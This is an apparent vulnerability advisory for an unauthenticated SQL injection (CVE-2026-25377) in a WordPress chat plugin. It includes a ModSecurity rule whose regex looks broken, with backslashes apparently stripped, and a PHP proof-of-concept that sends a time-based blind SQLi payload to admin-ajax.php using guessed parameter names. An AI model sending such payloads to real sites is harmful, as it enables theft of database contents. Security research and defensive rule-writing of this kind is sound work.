Atomic Edge analysis of CVE-2026-25377 (metadata-based):
The Addon Jobsearch Chat plugin for WordPress, versions 3.0 and earlier, contains an unauthenticated SQL injection vulnerability. This flaw exists in a plugin endpoint that processes user-supplied parameters without proper sanitization or prepared statements. The CVSS score of 7.5 (High) reflects the attack’s network-based, low-complexity nature and its high impact on confidentiality.
Atomic Edge research infers the root cause is improper neutralization of special elements in an SQL command (CWE-89). The description states insufficient escaping and a lack of sufficient preparation on an existing SQL query. This indicates the plugin likely constructs SQL queries by directly concatenating user input into the query string. The vulnerable code path is almost certainly an AJAX handler or a REST API endpoint registered by the plugin that does not enforce authentication or use WordPress’s `$wpdb->prepare()` method.
Exploitation involves sending crafted HTTP requests to a specific WordPress endpoint, such as `/wp-admin/admin-ajax.php`. The attacker would target the plugin’s registered AJAX action, which can be inferred from the plugin slug as `addon_jobsearch_chat` or a similar variant. The malicious SQL payload would be placed in a vulnerable parameter, like a user ID or message identifier, to perform UNION-based or time-based blind SQL injection for data extraction.
Remediation requires implementing proper input validation and using parameterized queries. The patched version 3.1 likely replaced the vulnerable raw SQL concatenation with calls to `$wpdb->prepare()`. The fix should also include adding capability checks or nonce verification to the affected endpoint to enforce authentication, though the primary issue is the SQL injection flaw.
Successful exploitation allows unauthenticated attackers to extract sensitive information from the WordPress database. This can include hashed user passwords, personal data, private messages from the chat functionality, and other plugin-specific data. In a WordPress multisite installation, the impact could extend across multiple sites. The vulnerability does not directly allow for privilege escalation or remote code execution, but the stolen data could facilitate further attacks.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25377 (metadata-based)
# This rule blocks exploitation of the SQL injection in the Addon Jobsearch Chat plugin.
# It targets the most likely attack vector: an unauthenticated AJAX request with a malicious SQL payload.
# The rule matches the exact AJAX endpoint and a plausible action name derived from the plugin slug.
# The parameter name is generalized, and the regex detects common SQL injection patterns.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202625377,phase:2,deny,status:403,chain,msg:'CVE-2026-25377 via Addon Jobsearch Chat AJAX',severity:'CRITICAL',tag:'CVE-2026-25377',tag:'WordPress',tag:'Plugin',tag:'SQLi'"
SecRule ARGS_POST:action "@streq addon_jobsearch_chat_ajax" "chain"
SecRule ARGS_POST "@rx (?i:('s+(and|or)s+[ws-]+[=<>]+s*[ws-]+|sleeps*(|unions+select|selects+.*froms+w+|benchmarks*(|pg_sleeps*(|waitfors+delay))"
"t:none,t:urlDecodeUni,t:lowercase"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25377 - Addon Jobsearch Chat <= 3.0 - Unauthenticated SQL Injection
<?php
/**
* Proof of Concept for CVE-2026-25377.
* This script demonstrates unauthenticated SQL injection in the Addon Jobsearch Chat plugin.
* The exact AJAX action and parameter name are inferred from the plugin slug and common patterns.
* Assumptions: The target runs a vulnerable plugin version (<=3.0). The endpoint is the standard WordPress AJAX handler.
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// The AJAX action is likely derived from the plugin slug.
// Common patterns include 'addon_jobsearch_chat_action' or 'jobsearch_chat_ajax'.
// We test a plausible action name. An attacker would enumerate this if different.
$post_data = array(
'action' => 'addon_jobsearch_chat_ajax', // INFERRED AJAX ACTION
// The vulnerable parameter name is unknown from metadata. Common candidates include 'msg_id', 'user_id', 'job_id'.
// This payload attempts a time-based blind SQL injection to confirm vulnerability.
'msg_id' => "1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- "
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Set a baseline timeout
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);
$request_duration = $end_time - $start_time;
if ($request_duration > 5) {
echo "[+] Potential SQL Injection vulnerability detected. Request delayed by " . round($request_duration, 2) . " seconds.n";
echo "[+] Response snippet: " . substr($response, 0, 200) . "n";
} else {
echo "[-] No time delay observed. The inferred action or parameter may be incorrect.n";
echo "[-] Consider enumerating AJAX actions or parameter names.n";
}
?>
